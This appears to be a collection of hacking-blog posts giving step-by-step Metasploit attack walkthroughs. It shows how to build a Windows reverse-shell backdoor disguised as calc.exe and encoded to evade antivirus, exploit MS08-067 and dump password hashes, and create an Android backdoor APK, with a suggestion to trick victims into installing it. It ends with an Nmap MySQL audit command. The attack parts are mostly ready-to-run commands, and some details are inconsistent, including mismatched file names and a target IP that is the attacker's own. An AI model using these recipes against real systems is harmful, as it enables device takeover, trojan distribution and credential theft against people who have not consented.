Hack All Windows OS's (Windows 8/7/Vista/XP) using Metasploit Backdoors

This blog discusses how to compromise Windows 8, Windows 7, Windows Vista, Windows XP etc. using Metasploit backdoors.

Copy created backdoor to victims machine using USB, Shares etc.

When victim executes the malicious binary, it connects back to attackers machine.

Commands to create backdoor
# msfpayload -h
# msfpayload windows/shell_reverse_tcp LHOST=192.168.56.101 LPORT=8888 R > cal_pld.exe
# msfencode -h
# msfencode -e x86/shikata_ga_nai -c 3 -t exe -i calc_pld.exe -x /root/calc.exe -o calc_backdoor.exe

Commands to create handler
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 8888
exploit

If everything goes fine, Metasploit will start handler and waits for connections from victim's. Once victim executes the binary, successful exploitation will create a Meterpreter session.

http://blog.disects.com/2014/05/metasploit-gaining-access-using-ms08.html

Metasploit: Gaining Access using MS08-067 (CVE-2008-4250)

Setup details
Victim(Windows XP SP3): 192.168.56.101
Attack(Kali Linux):             192.168.56.102

Use below commands to launch an exploit.
search command can be used to search desired exploit, payload etc.
use      to use required exploit
set       set options accordingly (LHOST, LPORT, RHOST,RPORT,PAYLOAD etc.)
run/exploit    launch exploit
meterpreter  shell to execute commands in the context of victim
msf> search smb
msf> use exploit/windows/smb/ms08_067_netapi
msf> show options
msf> set RHOST 192.168.56.102
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> show options
msf> exploit

Check if all the options related to the exploit are set properly.

Launch the exploit once all the parameter are set properly

Exploit is successful and we are already on meterpreter prompt.

Details of the victim Operating System

Once we have access to the victim there are many post exploitation techniques like Privilege Escalation, Maintaining Access, Clearing Logs etc.
meterpreter> screenshot
meterpreter> migrate
To add users
meterpreter> use incognito
meterpreter> help incognito
Dump Users and LM/NTLM hashes
meterpreter> hashdump

Same steps can be followed for different exploits. To use different exploit execute below command and set options accordingly.
use exploit/windows/browser/ie_aurora

Other useful blogs
http://blog.disects.com/2014/04/hacking-android-devices-using.html
http://blog.disects.com/2013/12/manual-unpacking-of-upx-packed-binary.html

Vulnerability details
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

Hacking Android devices using Metasploit Backdoor

In this post we will see how to use backdoors generated by Metasploit to gain access into Android devices. I am using Nexux 7 Tablet as Victim.

SETUP DESCRIPTION
192.168.1.102 Victims IP Address (Android Nexus 7 Tablet)
192.168.1.140 Attackers IP Address (Metasploit)

I am using AirDroid App on Nexus 7 to download Metasploit backdoor (say, malicious App). In real scenarios we can host Web server with malicious app and entice users to install the app using various Social Engineering techniques.

BACKDOOR CREATION
Using Kali Linux with Metasploit Framework installed to generate the payload.
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.140 LPORT=4488 R > andr_bd.apk
msfpayload Metasploit command to create payloads (exe, java, apk etc.)
LHOST (local host) Attackers IP address for victim to connect back
LPORT (local port) port for victim to connect back
R msfpayload parameter indicates generation of raw payload
APK Application Package file

Successful execution of msfpayload will create andr_bd.apk App which is a Metasploit reverse TCP backdoor. When the app is installed on any android device, it will connect back to attackers IP address (192.168.1.140 here). Copy the App to Nexus 7 Tablet using AirDroid, install the app, successful installation will show the screen shot given below.

Before installing the App on Nexus 7 attacker need to run the following Metasploit commands for successful connection back of victim’s machine to attacker’s machine.
$ msfconsole
msf> use exploit/multi/handler
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT
msf exploit(handler) > exploit 

We successfully got Metasploit’s meterpreter shell.

Post exploitation commands

Full paper can be accessed from
http://disects.com/whitepapers/Hacking_Android_devices_using_Metasploit_backdoors.pdf

Following articles might be of interest
http://blog.disects.com/2012/05/cain-and-abel-password-cracking.html
http://blog.disects.com/2013/12/manual-unpacking-of-upx-packed-binary.html

Nmap Scripting Engine: Auditing MySQL Server

Nmap is an Open Source tool for Network Mapping, Network Inventory and Security Auditing. Nmap uses raw IP packets to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.

 

MySQL is an Open Source Relational Data Base Management Systems (RDBMS).

 

I am using Nmap TCP SYN scan to find all open ports.

 

Nmap Scripts are located at

/usr/share/nmap/scripts

on Kali Linux.

 

Below snapshot shows the scripts we used to audit MySQL Server. Nmap Script disclose critical information like username, usernames without password. cersion, dump of hashes etc.

 

To run all the scripts related to MySQL execute below command.

# nmap --script "mysql-*" target_ip

 

From the above snapshots replace 127.0.0.1 with the IP you want to scan/audit.